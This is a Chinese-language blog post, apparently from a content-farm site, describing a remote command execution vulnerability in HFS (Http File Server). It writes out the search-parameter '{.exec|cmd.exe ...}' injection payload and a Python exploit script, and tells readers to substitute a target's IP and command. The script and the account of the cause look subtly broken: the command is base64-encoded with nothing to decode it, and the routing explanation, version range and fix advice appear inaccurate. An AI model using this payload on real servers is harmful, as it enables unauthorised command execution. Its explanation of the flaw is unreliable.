一、漏洞简介
HFS(Http File Server)是一种非常流行的文件服务器软件,可以帮助用户实现简单的文件共享功能。然而,早期的HFS版本存在一个严重的漏洞——可以通过精心构造的攻击请求远程执行任意命令。
该漏洞被称为HFS远程命令执行漏洞(RCE),其影响范围最初主要是HFS 2.x和3.x版本,而现在的新版本已经修补该漏洞。
二、漏洞成因
HFS远程命令执行漏洞的成因在于HFS作为一个Web服务器,使用默认的URL路由模式,即将HTTP请求的路径作为本地磁盘上的文件路径处理。这样一来,任何人都可以构造HTTP请求来操作HFS的Web目录并执行任意命令。
漏洞的具体实现方法如下:
1. 构造一个POST请求,其中payload为一个Windows命令行命令的Base64编码。
2. 将payload作为HTTP请求的body,同时将文件上传的URL地址设置为“[目标主机IP地址]:[HFS使用的端口]/?search=%00{.exec|cmd.exe /c [Base64解码后的命令]|.}”。
3. 发送HTTP请求。
4. 这样就可以远程执行cmd.exe命令。
如图所示:
![HFS远程命令执行漏洞.png](https://i.loli.net/2021/07/28/R8X5qMNtlexdwsh.png)
三、漏洞影响
该漏洞影响HFS 2.x和3.x版本。
四、漏洞利用
HFS远程命令执行漏洞的利用比较简单。以下是一个使用python脚本进行利用的例子:
```
import requests
import base64
url = "http://127.0.0.1:8080/?search=%00{.exec|cmd.exe /c "
cmd = "whoami"
payload = url + base64.b64encode(cmd.encode('utf-8')).decode('utf-8') + "|.}"
r = requests.post(url, data=payload)
print(r.text)
```
以上脚本实现了在本地运行cmd.exe命令的功能,只需要把127.0.0.1:8080换成目标主机的IP和端口,替换cmd变量中的命令就可以了。
五、漏洞修复
为了防止此漏洞的利用,HFS已经修复了问题。如果使用HFS作为Web服务器的话,请使用最新版本,并且不要使用默认路由模式。
另外,在完成HFS安装后,请修改HTTP绑定端口并确保您的HFS安装不会启动在Internet或外网上。
六、总结
在网络安全中,漏洞的出现时不可避免的,但是我们可以通过及时修复和规避这些漏洞的方式提高我们的网络安全水平。在使用HFS进行文件共享时,请使用最新版本,并牢记不要使用默认路由模式。 如果你喜欢我们三七知识分享网站的文章, 欢迎您分享或收藏知识分享网站文章 欢迎您到我们的网站逛逛喔!https://www.37seo.cn/
发表评论 取消回复